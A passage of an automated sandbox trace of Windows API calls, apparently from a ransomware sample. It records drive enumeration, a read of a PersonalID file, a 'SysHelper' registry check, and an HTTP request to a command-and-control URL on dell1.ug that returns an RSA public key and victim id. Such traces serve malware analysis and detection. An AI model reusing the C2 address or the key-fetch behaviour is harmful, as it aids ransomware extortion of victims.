hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3609350 | out: hHeap=0x35b0000) returned 1 [0115.681] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6188170 | out: hHeap=0x35b0000) returned 1 [0115.681] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146f20 | out: hHeap=0x35b0000) returned 1 [0115.681] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368db58 | out: hHeap=0x35b0000) returned 1 [0115.681] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162118 | out: hHeap=0x35b0000) returned 1 [0115.681] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146f78 | out: hHeap=0x35b0000) returned 1 [0115.681] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146fd0 | out: hHeap=0x35b0000) returned 1 [0115.681] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61621a8 | out: hHeap=0x35b0000) returned 1 [0115.681] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6188198 | out: hHeap=0x35b0000) returned 1 [0115.681] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147028 | out: hHeap=0x35b0000) returned 1 [0115.681] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368dc90 | out: hHeap=0x35b0000) returned 1 [0115.682] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61621f0 | out: hHeap=0x35b0000) returned 1 [0115.682] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147080 | out: hHeap=0x35b0000) returned 1 [0115.682] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61470d8 | out: hHeap=0x35b0000) returned 1 [0115.682] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162238 | out: hHeap=0x35b0000) returned 1 [0115.682] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x613fcc0 | out: hHeap=0x35b0000) returned 1 [0115.682] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x28) returned 0x6187568 [0115.682] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617f518 [0115.682] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617f780 [0115.682] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617f9e8 [0115.682] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617fc50 [0115.682] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617feb8 [0115.682] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6180120 [0115.682] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6180388 [0115.682] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x61805f0 [0115.682] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x615c6f8 [0115.682] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x615c960 [0115.682] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xa0) returned 0x36260a8 [0115.682] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x130) returned 0x6127198 [0115.682] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x36260a8 | out: hHeap=0x35b0000) returned 1 [0115.682] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x1d0) returned 0x613fcc0 [0115.682] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6127198 | out: hHeap=0x35b0000) returned 1 [0115.682] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x2b7) returned 0x61606e0 [0115.682] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x613fcc0 | out: hHeap=0x35b0000) returned 1 [0115.682] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x412) returned 0x61589b8 [0115.682] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61606e0 | out: hHeap=0x35b0000) returned 1 [0115.682] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x61a) returned 0x61641b0 [0115.682] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61589b8 | out: hHeap=0x35b0000) returned 1 [0115.682] GetUserNameW (in: lpBuffer=0x18ded8, pcbBuffer=0x18dd4c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18dd4c) returned 1 [0115.686] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x590) returned 0x61589b8 [0115.686] GetLastError () returned 0x0 [0115.690] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18da40, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0115.691] GetFileType (hFile=0x5bc) returned 0x1 [0115.691] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x1000) returned 0x6196710 [0115.691] ReadFile (in: hFile=0x5bc, lpBuffer=0x6196710, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18daa8, lpOverlapped=0x0 | out: lpBuffer=0x6196710*, lpNumberOfBytesRead=0x18daa8*=0x2a, lpOverlapped=0x0) returned 1 [0115.692] GetLastError () returned 0x0 [0115.692] ReadFile (in: hFile=0x5bc, lpBuffer=0x6196710, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18daa8, lpOverlapped=0x0 | out: lpBuffer=0x6196710*, lpNumberOfBytesRead=0x18daa8*=0x0, lpOverlapped=0x0) returned 1 [0115.692] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6196710 | out: hHeap=0x35b0000) returned 1 [0115.692] CloseHandle (hObject=0x5bc) returned 1 [0115.693] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368dcf8 | out: hHeap=0x35b0000) returned 1 [0115.694] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x35d6790 | out: hHeap=0x35b0000) returned 1 [0115.694] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368db58 | out: hHeap=0x35b0000) returned 1 [0115.697] CreateFileW (lpFileName="I:\\5d2860c89d774.jpg" (normalized: "i:\\5d2860c89d774.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.697] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0115.697] RegisterClassExW (param_1=0x18dcb8) returned 0xc0c1 [0115.697] CreateWindowExW (dwExStyle=0x0, lpClassName="LPCWSTRszWindowClass", lpWindowName="LPCWSTRszTitle", dwStyle=0xcf0000, X=-2147483648, Y=0, nWidth=-2147483648, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x200dc [0115.899] NtdllDefWindowProc_W () returned 0x0 [0115.899] NtdllDefWindowProc_W () returned 0x1 [0115.901] NtdllDefWindowProc_W () returned 0x0 [0115.903] NtdllDefWindowProc_W () returned 0x0 [0115.903] ShowWindow (hWnd=0x200dc, nCmdShow=0) returned 0 [0115.903] UpdateWindow (hWnd=0x200dc) returned 1 [0115.903] GetLogicalDrives () returned 0x4 [0115.903] SetErrorMode (uMode=0x1) returned 0x0 [0115.903] PathFileExistsA (pszPath="C:\\") returned 1 [0115.903] SetErrorMode (uMode=0x0) returned 0x1 [0115.904] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x806) returned 0x6196710 [0115.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18dc70, cbMultiByte=-1, lpWideCharStr=0x6196710, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x6196f20 [0115.904] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6196710 | out: hHeap=0x35b0000) returned 1 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x18) returned 0x35d6790 [0115.904] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6196f20 | out: hHeap=0x35b0000) returned 1 [0115.904] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x35d6790 | out: hHeap=0x35b0000) returned 1 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x18) returned 0x35d6790 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x10) returned 0x360d0c8 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x8ec) returned 0x6196710 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x6197008 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61c03f8 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x1080) returned 0x6192610 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368db58 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x6197820 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x660) returned 0x6198038 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61c0c80 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61c1508 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61c1d90 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61c2618 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61c2ea0 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x6193698 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61c3728 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61c3fb0 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x6193ee0 [0115.904] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61cbe30 [0115.905] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61cc698 [0115.905] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61c4838 [0115.905] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61c50c0 [0115.905] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x61ccf00 [0115.905] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x61cd748 [0115.905] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61c5948 [0115.905] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61c61d0 [0115.905] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61c6a58 [0115.905] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61c72e0 [0115.905] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61c7b68 [0115.905] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61cdfa8 [0115.906] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61ce830 [0115.906] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61cf0b8 [0115.906] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61cf940 [0115.906] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61d01c8 [0115.906] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61ddf90 [0115.906] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61de7f8 [0115.906] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61d0a50 [0115.906] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61d12d8 [0115.906] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61d1b60 [0115.906] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x61df060 [0115.906] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x61df8a8 [0115.907] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61d23e8 [0115.907] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61d2c70 [0115.907] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61d34f8 [0115.907] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61d3d80 [0115.907] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61d4608 [0115.907] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61d4e90 [0115.907] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61d5718 [0115.907] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61d5fa0 [0115.907] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61d6828 [0115.907] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61e00f0 [0115.907] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61e0958 [0115.907] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61d70b0 [0115.907] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61d7938 [0115.907] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61d81c0 [0115.907] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x61e11c0 [0115.907] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x61d8a48 [0115.907] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61d92d0 [0115.907] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61d9b58 [0115.908] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61da3e0 [0115.908] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61dac68 [0115.908] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61db4f0 [0115.908] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61dbd78 [0115.908] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61dc600 [0115.908] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x61dce88 [0115.908] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x6760060 [0115.908] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x6770048 [0115.908] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61e1a08 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x67608e8 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x6761170 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x67619f8 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x6762280 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x6762b08 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x6763390 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x6763c18 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x67644a0 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x6764d28 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc0) returned 0x6156198 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x67655b0 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x61e2270 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x61e2a88 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x6765e38 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x67666c0 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x6766f48 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x67677d0 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x6768058 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368dcf8 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x67688e0 [0115.909] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x6769168 [0115.910] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x67699f0 [0115.910] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676a278 [0115.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x41ee40, lpParameter=0x6196718, dwCreationFlags=0x0, lpThreadId=0x360d0d0 | out: lpThreadId=0x360d0d0*=0x614) returned 0x3a4 [0115.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x41fa90, lpParameter=0x529238, dwCreationFlags=0x0, lpThreadId=0x529230 | out: lpThreadId=0x529230*=0x664) returned 0x39c [0115.911] GetMessageW (lpMsg=0x18de68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0122.099] NtdllDefWindowProc_W () returned 0x0 [0128.868] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x800) returned 0x677ecd0 [0128.868] GetComputerNameW (in: lpBuffer=0x677ecd0, nSize=0x18d1e4 | out: lpBuffer="XDUWTFONO", nSize=0x18d1e4) returned 1 [0128.868] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164eb0 [0128.868] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x677ecd0 | out: hHeap=0x35b0000) returned 1 [0128.868] IsWindow (hWnd=0x200dc) returned 1 [0128.868] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164eb0 | out: hHeap=0x35b0000) returned 1 [0217.012] NtdllDefWindowProc_W () returned 0x1 [0232.460] NtdllDefWindowProc_W () returned 0x1 Thread: id = 186 os_tid = 0x6e0 Thread: id = 187 os_tid = 0x6e4 Thread: id = 188 os_tid = 0x6e8 Thread: id = 189 os_tid = 0x6ec Thread: id = 190 os_tid = 0x6f0 Thread: id = 191 os_tid = 0x6f4 Thread: id = 192 os_tid = 0x6f8 Thread: id = 341 os_tid = 0x328 Thread: id = 342 os_tid = 0x314 Thread: id = 343 os_tid = 0x5f0 [0115.046] timeGetTime () returned 0x1134061 [0115.046] GetLastError () returned 0x54f [0115.046] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x3bc) returned 0x6158bc8 [0115.046] GetCurrentThreadId () returned 0x5f0 [0115.046] SetLastError (dwErrCode=0x54f) [0115.047] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0xc82a6e4 | out: phkResult=0xc82a6e4*=0x5a8) returned 0x0 [0115.047] RegQueryValueExW (in: hKey=0x5a8, lpValueName="SysHelper", lpReserved=0x0, lpType=0xc82a6d8, lpData=0xc82a6e0, lpcbData=0xc82a6dc*=0x4 | out: lpType=0xc82a6d8*=0x4, lpData=0xc82a6e0*=0x1, lpcbData=0xc82a6dc*=0x4) returned 0x0 [0115.047] RegCloseKey (hKey=0x5a8) returned 0x0 [0115.047] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0115.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x80) returned 0x3607030 [0115.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xbe) returned 0x6156198 [0115.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3607030 | out: hHeap=0x35b0000) returned 1 [0115.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x361bc00 [0115.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x6158f90 [0115.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x361bc00, cbMultiByte=-1, lpWideCharStr=0x6158f90, cchWideChar=1056 | out: lpWideCharStr="9D21DEA2F9EA5AFC93634DAFF1A5107F") returned 33 [0115.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x850) returned 0x61597d8 [0115.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6158f90 | out: hHeap=0x35b0000) returned 1 [0115.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x361bc00 | out: hHeap=0x35b0000) returned 1 [0115.047] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x8d0) returned 0x61641b0 [0115.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6156198 | out: hHeap=0x35b0000) returned 1 [0115.047] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61597d8 | out: hHeap=0x35b0000) returned 1 [0115.047] lstrcpyW (in: lpString1=0xc82af78, lpString2="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php?pid=9D21DEA2F9EA5AFC93634DAFF1A5107F" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php?pid=9D21DEA2F9EA5AFC93634DAFF1A5107F") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php?pid=9D21DEA2F9EA5AFC93634DAFF1A5107F" [0115.047] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php?pid=9D21DEA2F9EA5AFC93634DAFF1A5107F", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0115.453] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc82a778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xc82a774 | out: lpBuffer=0xc82a778*, lpdwNumberOfBytesRead=0xc82a774*=0x22f) returned 1 [0115.454] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0115.455] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0115.455] lstrlenA (lpString="{\"public_key\":\"") returned 15 [0115.455] lstrcpyA (in: lpString1=0xc82ab78, lpString2="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" | out: lpString1="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" [0115.455] lstrcpyA (in: lpString1=0xc82a778, lpString2="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" | out: lpString1="-----BEGIN PUBLIC 